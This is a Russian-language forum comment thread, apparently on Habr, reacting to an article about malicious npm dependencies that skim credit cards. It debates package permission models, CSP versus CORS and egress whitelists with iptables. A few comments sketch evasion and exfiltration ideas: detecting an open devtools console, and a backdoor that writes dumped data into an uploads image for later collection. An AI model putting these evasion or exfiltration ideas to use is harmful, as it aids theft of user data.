Я не говорю, что это решит проблему полностью, но безопаснее чуть-чуть станет. Все равно останется момент с доверием к вендору, но зато вы будете знать какие права нужны пакету, чтобы он работал. Ведь будет странно, если пакету нужен доступ к отправке запросов или к DOM, когда он меняет цвет сообщений в консоле, не так ли?
vintage
12.01.2018 00:56Держите песочницу: https://github.com/eigenmethod/mol/tree/master/func/sandbox
Осталось генерируемые вебпаком для каждого модуляevalзаменить наsandbox.eval.vintage
12.01.2018 21:26Ну а пока вы минусуете, я поисследовал тему. Концепция модулей в JS заключается в том, что каждый модуль — это синглтон. И это проблема. Мы не можем выдать права модулю в момент подключения. Ибо подключаться он может из разных мест с разными правами. По той же причине мы не можем распространять права транзитивно. То есть, например, выдали модулю "весёлая консолька" доступ к "console" и какие бы модули тот ни подключил — они не получат доступа к чему-то кроме "console".
Идеально было бы на каждый
requireсоздавать отдельный инстанс модуля с отдельными правами. При обычномrequire('color-console')права просто бы передавались без изменений. А приrequire( 'color-console', { console } )модуль запускался бы в песочнице, где из глобальных переменных была бы лишь та, что мы передали. К сожалению, такая логика сломает чуть ли не все существующие модули. Так что её если где и увидишь, то только в новых экосистемах.staticlab
12.01.2018 23:09Если уж ломать систему, то полностью. Пусть функция будет выглядеть как
require(packageName, globals = {})(или можно назвать её safeRequire). Тогда по умолчанию никаких глобальных переменных для модуля вообще доступно не будет. Всяким лефтпадам оно и не нужно. Если же родитель вызывает модуль с некоторыми правами, например, cookies или fetch, то импортируемые им модули по умолчанию этих прав всё равно не получат, но сам он сможет передать их им при необходимости.
С другой стороны, инстанцировать каждый модуль отдельно может быть весьма накладно, да и таскать эти глобалы неудобно — велик соблазн просто определить
require = packageName => safeRequire(packageName, globals). Поэтому можно разграничивать модули по доменам безопасности, которыми, очевидно, являются пакеты. То есть, пул инстансов модулей будет только в пределах отдельного пакета, их импортирующего. Тогда распределение прав можно будет осуществить и в packages.json, примерно так:
"permissions": { "required": [ "console", "XMLHttpRequest" ], "optional": [ "cookies" ], "dependencies": { "color-console": ["console"], "isomorphic-fetch": ["XMLHttpRequest"] } }
Такая схема позволяет легко мониторить необходимые права для пакетов и их возможное повышение при обновлении. Менеджер пакетов может запретить установку пакета, если у его родителя недостаточно обязательных прав. Тут даже фрагментированность экосистемы сыграет на руку, ведь пакеты чаще всего маленькие, и им много прав может быть не нужно.
Кроме того, можно начать вводить такую систему уже сейчас, если ввести временный внешний механизм контроля прав. Система сборки может автоматически обращаться к внешней базе, если не обнаружит в пакете требуемой информации о правах.
vintage
13.01.2018 09:11Тут та же проблема с транзитивными зависимостями. Модуль А зависит от Б и В, а Б и В зависят от Г и выдают ему разные права. Какие в итоге права будут у Г?
staticlab
13.01.2018 11:57Согласен. Если оставить возможность передачи прав для каждого модуля, то придётся инстанцировать каждый экземпляр. Как я уже сказал, это будет весьма накладно. Есть ли реальная потребность в разделении прав именно по модулям? Может быть будет достаточно только пакетного разделения по вышеприведённой схеме?
vintage
13.01.2018 14:57Я, конечно же, имел ввиду не node модули, а npm модули, они же пакеты. Проблема там та же.
staticlab
13.01.2018 19:13Так если вы изначально подразумевали уровень пакетов, то в чём тогда проблема?
Пакет А зависит от Б и В. Б и В зависят от Г, но каждый из них инстанцирует пакет независимо друг от друга, то есть будет отдельная версия Г1 для Б и Г2 для В, то есть проблемы ромба в принципе не будет.
Кстати говоря, в текущей системе пакетов NPM может возникнуть такая проблема, что могут быть установлены разные версии пакета, причём одна поставится, допустим, в корень иерархии, а другая — как локальный пакет для другого. В таком случае могут появиться неочевидные баги, если пакет спроектирован как синглтон. Сталкивался с таким при использовании react-router и history.
vintage
13.01.2018 19:32Нет, изначально я имел ввиду именно node модули, в последнем сообщении уже пакеты. Суть проблемы же не меняется. Либо у нас проблема ромба с непонятными правами, либо полностью ациклическое дерево с комбинаторным взрывом числа листьев и соответственно без синглтонов.
justboris это всё работает пока у нас 10 зависимостей. Но вас не хватит вручную раздать права 10 тысячам модулей, приходящих через зависимости. А даже если и хватит, то это просто перекладывание ответственности, но не решение проблемы. Ну мы же тебе показали список на 100 экранов, ты согласился — сам дурак.
justboris
13.01.2018 19:37Я предлагаю смотреть только на модули, явно импортируемые вами.
Что-то похожее на import-cost, только вместо размера показывать список прав которые нужны этому импорту, с учетом его зависимостей.
staticlab
13.01.2018 19:57Тогда смотрите, что получится. npm пишет вам:
cool-logger (+2 deps): console, net
Но тогда мы не видим, что реально требует color-console: только консоль, или же ещё и доступ к сети.
justboris
13.01.2018 20:01А зачем нам видеть что там реально происходит? Нам, как пользователям модуля, достаточно знать, что где-то там происходят запросы к сети, и если мы их не хотим, то лучше поискать другой логгер.
Например такой, где это будет сделано плагинами:
import logger from 'cool-logger'; // console import logstashPlugin from 'cool-logger-logstash'; // net logger.use(logstashPlugin);
Здесь все прозрачно видно, что где происходит, и что нужно отключить, если не хочется ничего посылать в сеть
justboris
13.01.2018 18:14Куда-то не туда ваше развитие идеи повернуло. Зачем нужно заниматься сложным разборов прав в рантайме?
По идее это нужно на этапе добавления нового модуля в проект. Чтобы при выполнении
npm install color-console --saveсам NPM писал, каких прав хочет пакет (и все его зависисмости) и спрашивал разрешение на продолжение. Если ответ положительный, то права записываются в package.json. Если когда-нибудь будущая версияcolor-consoleзахочет больше прав, то при выполненииnpm updateдиалог появится снова.staticlab
13.01.2018 19:25Предположим, некий пакет cool-logger требует color-console и node-logstash. Соответственно, первому надо дать доступ к консоли, а второму — доступ к сети. Как считаете, cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net? Или он должен требовать { console, net } и раздавать права самостоятельно? Или его права должны неявно делегироваться всем его зависимостям?
justboris
13.01.2018 19:32cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net
Да, я думаю так.
Пользователь при добавлении логгера в package.json увидит агрегированный список прав, которые требуются модулю и всем его зависимостям и сам решит, нужен ему такой логгер, или лучше поискать другой, который просит меньше.
Сами модули никому никаких прав не делегируют, просто прозрачно показывают, что им требуется, чтобы конечный пользователь принял решение.
baldr
12.01.2018 00:17+1Вообще, конечно, не вижу реально удобного способа решения проблемы из статьи…
Я, в основном, backend-разработчик. Для фронтенд-части у меня есть скрипт с Gulp, который собирает все зависимости и пакует из них одну сборку. Я не хочу залезать в каждую библиотеку и смотреть что оно там по зависимостям тянет. Да и не разберусь я в ноде — я на джанге пишу.
Сейчас вот просто посчитал — в папке node_modules у меня 2192 раза встречается файл package.json. И что я должен с эим делать?
Вот как раз два дня назад при отладке на localhost заметил что браузер заблокировал два запроса на домен vseolice.ru. Мало того что это локалхост, так ведь и ничего похожего я не использую — ни баннеров, ни вообще российских доменов.
Грустно все это.
x893
12.01.2018 00:45Вот отличный ответ банковским гуру программирования, когда они отвечают — мы берем скрипты только из проверенных google/yandex/yadro и ещё 100500 источников. А потом удивляются что у пользователей деньги воруют.
flancer
12.01.2018 01:26Чувак, написавший статью — теоретик. В теории, оно возможно и так, а на практике сколько он чего и у кого стянул таким способом? Я писал тест на JS'е для оплаты тестовой кредитной картой покупки в тестовом магазине на тестовой учётке в braintree — я задолбался во фреймы нырять и эмулировать ввод данных на форме. И это при том, что у меня были все возможности отдебажить код на странице. Сделать обратную операцию и считать данные из формы у braintree — задача не намного более простая. А таких процессингов кредиток — не одна штука. И форматы форм у них почему-то не совпадают. В теории можно написать универсальный скрипт для всех процессингов, который будет сливать номера всех кредиток хитрым неотслеживаевым способом на засекреченный адрес в интернете. На практике можно даже написать статью, как это сделать в теории. Но сделать на практике то, что описано в этой теории, пока что не удалось никому. Включая автора статьи.
xerxes
12.01.2018 08:16Согласен. По множеству признаков видно, что текст написан не тем, кто мог бы такое сделать на самом деле, и его цель — привлечь внимание к проблеме.
az79
12.01.2018 13:17Зато номер кредитки очень легко определяется как номер кредитки. Длина и хэш. А еще по первым циферкам платежная система. А так как просят дату имя и cvv. То такой набор отслеживается на раз два даже без анализа надписей на формах.
flancer
12.01.2018 20:46В таком случае у вас блестящее будущее — вы сможете на раз-два надергать номеров кредиток из интернета и продать их оптом перекупщикам.
vyatsek
12.01.2018 01:33Проблема в том, что в npm и javascript нет доверенных источников и репутацию терять некому, фреймворк разработчики вместо того, чтобы написать нужную фичу самому, притащат в проект 100500 каких-то левых зависимостей.
Если бы npm пакеты представляющие фреймворки релизились IT гигантами, непредвиденного г-на было бы на порядок меньше, а реюз на порядок выше.
А статья класс, так и надо, хакеру за выдумку респект.
unique_ak
12.01.2018 02:57Защитить себя, как пользователя просто — берем в привычку при вводе данных запускать инструменты разработчика, и тогда вредоносный код побоится себя проявить:)
А если серьезно, то все выглядит печально. И не факт, что на backend-е ситуация значительно проще.sumanai
12.01.2018 15:44Вот на этом моменте я засомневался- а как вообще отловить запуск инструментов разработчика в отдельном окне?
mayorovp
12.01.2018 15:53Раньше через
console.log(toString() { /* Ага, кто-то открыл инструменты разработчика */ })работало, сейчас эту дырку закрыли.
В IE можно проверить открывались ли инструменты разработчика через проверку существования объекта
console— до первого открытия этого консоли объекта не существует.
ArtesDi
12.01.2018 05:46Гениальное исполнение зловещего гамбита. А на самом деле автор понимает, что рано или поздно он пропалиться, а значит пришло время прикрывать тыли социальной инженерией.
Что может быть проще: прикрыться «выдуманной историей» поделившись рецептом с толпой. 1 из 1000000 да сделает свою примитивную реализацию. Таким образом, когда кто-нибудь на сайте и обнаружит эксплойт, отследят новоиспечённого засранца, «баг-фикс» закроют, и код мастера так же и останеться сидеть на сайте как бы не при делах.
А вас что, и правда после слов «моя фантазия» паранойа отпустила? :)
Danik-ik
12.01.2018 07:48Да, это лишний раз напомнило мне о величайшем мифе современности, и не только в it, а даже на бытовом уровне: "Мы живём в безопасном мире". Подвиды его: всё можно предусмотреть, несчастный случай всегда результат халатности, моя милиция меня бережёт, мои права соблюдаются извне...
И всячески стараемся забыть:
Вместо того, чтобы вам говорить: "если угодно будет Господу и живы будем, то сделаем то или другое", — вы, по своей надменности, тщеславитесь: всякое такое тщеславие есть зло. (Иакова 4:15-16)
Предусмотрите, что можете остановитесь на разумном пределе, а в остальном — будьте проще. И если откармливаете внутреннего параноика — не забывайте давать ему выходной.
bro-dev
12.01.2018 07:54Решение конкретно проблемы в статье простое, есть политика cors origin whitelist, которая просто запретит любые запросы кроме как на разрешенные домены, независимо от того что думает сервер-цель на это. Ну и да проблема вредоносного кода в зависимостях останется.
Пока что я такую штуку видел тока 1 раз на сайте веб версии скайпа, если попытаться туда через консоль подгрузить jquery cdn например выйдет ошибка.pansa
13.01.2018 01:20CORS не имеет никакого отношения к проблеме, описанной в статье. CSP — да, частично защитит.
CORS позволяет разрешить вашему сайту отправлять запросы к site-X. Для этого со стороны site-X (!!!) в ответах выставляются CORS заголовки, в которых есть домен вашего сайта.
CORS никак не сможет запретить useragent'у кинуть запрос на сайт хакера (случай с хакером-идиотом, который на своём сайте запретит ваш сайт мы не рассматриваем).
niddick
12.01.2018 08:17между 7-ю утра и 7-ю вечера
Это актуально только для конкретного часового пояса, в котором сидят разработчики использующие этотвымышленныйвирус.
Для остальных же запросы будут идти вполне себе в рабочее время :)
Это конечно ничего не меняет, но все же :)quantum
12.01.2018 09:10Это ж в браузере выполняется, смотрим время на компе
asoukhoruchko
12.01.2018 16:15Вот я работаю с американцами, и у меня рабочий день до 21-22, иногда 23.
А всякие автоматизированные тесты вообще обычно гоняются ночью на свежем энвайроменте.
Чем вам время на компе в этой ситуации поможет — не ясно.
tangro
12.01.2018 11:55«Для остальных»
Остальные — это домохозяйки, понятия не имеющие об инструментах разработчика и Fiddler'е.
saterenko
12.01.2018 10:18Вот почему я уже два раза ставил laravel, думая, что пора начать пользоваться современным фреймворком, смотрел на загруженные мегабайты, ужасался количеству неизвестного кода, сносил и использовал свой микрофреймворк…
vlreshet
12.01.2018 11:16+1Ларавель собран из symfony-пакетов, а симфони используется в кровавом энтерпрайзе серъёзными конторами. Я думаю его код уже ревьювили много раз. Да и сервер контролировать проще чем клиент, вплоть до фаервола на исходящие запросы, с белым листом разрешённых адресов.
saterenko
12.01.2018 11:36Это не решает проблему, а говорит лишь о вероятности её возникновения. Вот содержимое папки vendor: composer, dnoegel, doctrine, egulias, erusev, fideloper, filp, fzaninotto, hamcrest, jakub-onderka, laravel, league, mockery, monolog, mtdowling, myclabs, nesbot, nikic, paragonie, phar-io, phpdocumentor, phpspec, phpunit, psr, psy, ramsey, sebastian, swiftmailer, symfony, theseer, tijsverkoyen, vlucas, webmozart, в которой 5104 файла с расширением .php.
Grief
12.01.2018 14:12Я все комментарии проскроллил и не понимаю, почему только вы упомянули об этом — доступ во внешнюю сеть по белым спискам — это самый простой и эффективный способ борьбы с проблемой доверия к софту. Или я чего-то не понимаю? Но ведь в этом случае доступ к legit-analytics.com сразу бы заставил разработчиков поглядеть в код, который делает запросы к этому адресу, разве нет? А там уж все от квалификации разработчиков зависит.
vlreshet
12.01.2018 14:36Я тоже не понимаю почему никто это не упомянул. Белые списки, правда, не помогут от компрометации системы изнутри (например — какой-то код незаметно добавляет вашему сайту страницу вроде /asl230osfdklsdkl294fks.php, о которой знает только создатель этого кода). Но это уже надуманный способ, сильно сомневаюсь что такое успешно пролезет в opensource (особенно учитывая что серверный код обычно не минифицируют и не сжимают).
Grief
12.01.2018 16:11Даже если добавляет, данные во внешнюю сеть все равно не утекут, php все равно придется обратиться к внешнему ресурсу так или иначе, чтобы передать приступнику необходимую ему информацию. Если же разговор о том, что этот скрипт создаст бэкдор, которым сможет воспользоваться злоумышленник — доступ снаружи тоже, разумеется, должен быть ограничен списком «белых» урлов. Светить наружу урлы напрямую к third-party вообще за гранью добра и зла, а сотворить такую инжекцию, которая, к примеру, при логине определенным аккаунтом добавляет, скажем, в настройки акаунта дамп базы с паролями — это надо очень плохо код писать.
baldr
12.01.2018 16:23+1Я еще раз повторю, простите, — недостаток вашей фантазии не означает что это невозможно сделать.
Зачем php-скрипту из WordPress обращаться на внешний адрес? Он может записать все в файлик uploads/picture345.jpg и все. Раз в три дня сканер пройдет и сам скачает этот файлик.Grief
12.01.2018 16:41Не, я как раз описал нечто подобное во второй половине. Во-первых как php-скрипт там оказался? Разве .php живут не в read-only? Если у злоумышленника есть права на это — значит там уже была дыра конфигурации, которую можно эксплуатировать и другими путями, даже если весь софт самописный на 100%. Если этот файл там всегда был и он при определенных обстоятельствах вместо картинок сохраняет дампы базы — то, я говорю, это не очень умный человек написал, не должно быть петель снаружи наружу через third-party софт. Если бы эта картинка хоть немного прошла через самописный код, который эту картинку бы, например, ужимал и заодно стирал всякую стеганографию, ничего бы не вышло, а ошибка сразу бы вывела на нужный след разработчиков.
baldr
12.01.2018 16:54Да божемой, мне кажется, достаточно сказать «WordPress». Внутри каша из php-html-css-js и еще родной код более-менее форматирован.
А вот плагинов для него существует дочерта и внутри такой ад, что любой code-review окончится кровавыми слезами. Но как-то работают и вы можете просто посмотреть сколько интернет-магазинов строится на нем.
Это вы пишете прекрасный и красивый код, а большинству индусов все написать в одном файле — очевидная вещь.
Может быть в Facebook это и не пройдет. Пока. Начались же финансовые проблемы в Yahoo! и через некоторое время оказалось что пароли пользователей скомпрометированы и еще черт знает что…
vlreshet
12.01.2018 16:47Да можно даже картинку не сохранять. Сканер обратился на страницу — ему отдало всё до чего смогло добраться.
LynXzp
14.01.2018 00:11Все равно он должен куда-то это сохранять для хранения. Я далек от php, но кажется в ro файловой системе остается только БД. Правда я так понял что все происходит на стороне клиента в js.
sumanai
14.01.2018 00:14Зачем что-то куда-то сохранять? Пришло обращение на определённый URL- собираешь данные и отдаёшь, безо всяких следов кроме строчки в логах веб-сервера, которую можно замаскировать под типичную для используемой CMS.
Придётся правда сканировать все возможные сайты с CMS, на которой потенциально установлено дополнение с дыркой. Как вариант- проверять на стороне сервера обновлений, добавив в User Agent скрипта, запрашивающего последнюю версию, нужный код. Правда тут уже уровень дополнений CMS, а не пакетов, которые они используют.LynXzp
14.01.2018 00:26Подождите, клиент заходит, оставляет данные своей кридитки, скрипт завершается, на сколько я знаю, все данные потерялись.
sumanai
14.01.2018 00:58Такие данные действительно потеряются. А вот слить все мейлы не составит труда. Впоследствии никто не запрещает через этот бекдор поставить что поинтереснее, с сохранением всего хоть на яндекс диск.
HellWalk
12.01.2018 11:41+1Вот! Вот ОНО!
Вот что мне не так не нравится в современных методах разработки, когда «запилим пару десятков зависимостей в composer, не сильно переживая о том что нужно, а что лишнее и он нам все подкачает»
Добавлю страницу в закладки. Буду показывать всем, кто так любит менеджеры зависимостей, и когда все легко и по-современному.baldr
12.01.2018 16:11Ну а какие варианты вы можете предложить? Долго и скучно сидеть полтора года и писать весь код самостоятельно, а потом тестировать и долго выпиливать баги? А в это время смотреть в окно на соседа-хипстера, который быстро сбацал веб-магазин для криптовалют и поменял уже третий BMW за два месяца?
Мы разработчики и мы понимаем проблему и ее серьезность. А что вы скажете бизнесу?
Вот приходите вы к директору и говорите — возможно, что в одной из 15000 зависимостей, которые тянет наш проект, есть какая-то уязвимость. А может и нет. Давайте потратим полгода на анализ? Или перепишем все сами?
А директор вам — «а что может случиться? Кредитки пользователей уведут? А может и не уведут? А пожуй..»
tangro
12.01.2018 11:57Я вообще всегда исхожу из того, что данные карты, которые я ввожу где-то в Интернете, становятся известны всем вообще и сразу, поэтому денег у меня там ровно 0 до момента покупки чего-то, а на основной карте с деньгами вообще запрет всех интернет-операций.
mayorovp
12.01.2018 13:50То, что денег у вас там 0, еще не означает что их нельзя списать...
vlreshet
12.01.2018 13:54Пусть списывают весь мой ноль, мне не жалко. А овердрафт отключён.
baldr
12.01.2018 16:18Тут выше уже обсуждали что дело не только в карточках. У вас почта везде с двухфакторной аутентификацией? А пароль в Dropbox/Flickr/etc вы не вводите никогда?
vlreshet
12.01.2018 16:51У вас почта везде с двухфакторной аутентификацией
Эээ, само собой, а у вас нет? Пароль + смс либо пароль + гугл аутентификатор. Почтовый ящик слишком большая ценность чтобы защищать его одним паролем. Везде где возможно включить двухфактор — он у меня включён. Даже на гитхабе (без приватных репозиториев), даже в вк.
annechko
12.01.2018 16:15а отключение js в браузере разве не защитит?
f_s_b_37
12.01.2018 16:18+1Примерно так же как выключение компьютера. Формально атакующий обломается, но современные сайты без JS работать не смогут, а если и смогут, то сочтут безJS'ного клиента ботом и забанят.
annechko
12.01.2018 16:52Смотря как реализована форма, если она просто в теге form, она спокойно отправится без js. Есть много сайтов где формы, появляются при нажатии на кнопку и отправляются модально, без перезагрузки страницы, при отключении js просто добавляется дополнительная промежуточная страница с формой и она сабмитится без js
pansa
13.01.2018 01:57+1Зато оригинальная статья наконец дала пинка двухлетнему тикету на github и в хроме наконец внесли коммит для добавления «prefetch-src» в CSP? chromium-review.googlesource.com/c/chromium/src/+/864362
Ура?
karavan_750
13.01.2018 20:05iptables -A OUTPUT -i lo -j ACCEPT iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A OUTPUT -m state --state NEW -m set --match-set access_list dst -j ACCEPT iptables -P OUTPUT DROP
Список разрешенных адресов загоняем в ipset.
С FQDN будет посложнее, но тоже реализуемо.baldr
13.01.2018 21:12Вы это к чему?
karavan_750
14.01.2018 00:05>>Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые
>>выполняет ваш сайт, скажем, к рекламным сетям.
Был введен в заблуждение этими строками, подумал, что запросы все-же осуществляются с сервера.
MrDaedra
Почти с самого начала статьи предвидел содержимое «Серьёзного разговора»